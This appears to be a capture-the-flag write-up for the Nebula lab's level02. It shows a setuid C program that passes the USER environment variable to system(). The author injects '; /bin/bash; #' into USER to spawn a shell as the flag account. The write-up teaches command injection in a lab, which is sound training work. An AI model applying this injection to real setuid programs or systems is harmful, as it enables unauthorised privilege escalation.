Level02 instructs us to review some vulnerable C code and locate the attack vector. This program addresses the vulnerability from the previous level but a new vector is available.
The source code is included below for reference:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
As you can see, “echo” is called by its absolute path but getenv("USER"))
is calling the environment variable $USER
. Like the issue from level01, this variable is set in the current shell which can be manipulated.
Let’s modify the $USER
variable to contain different input.
level02@nebula:/home/flag02$ echo ${USER}
level02
level02@nebula:/home/flag02$ USER="; /bin/bash; #"
level02@nebula:/home/flag02$ echo ${USER}
; /bin/bash; #
As you can see in the code above, I modified the environment variable USER
to contain "; /bin/bash; #"
. The semicolons were added in order to stop the current command and start a new one, allowing us to stop the “echo” call and spawn a shell. Finally, I added an octothorp (#) in order to comment out the “is cool” line that would create malformed output.
Let’s run flag02 and observe the results:
level02@nebula:/home/flag02$ id
uid=1003(level02) gid=1003(level02) groups=1003(level02)
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ; /bin/bash; # is cool")
flag02@nebula:/home/flag02$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
flag02@nebula:/home/flag02$ getflag
You have successfully executed getflag on a target account
It worked! This level demonstrates the danger of using environment variables in scripts and trusting user input.
Thanks for reading!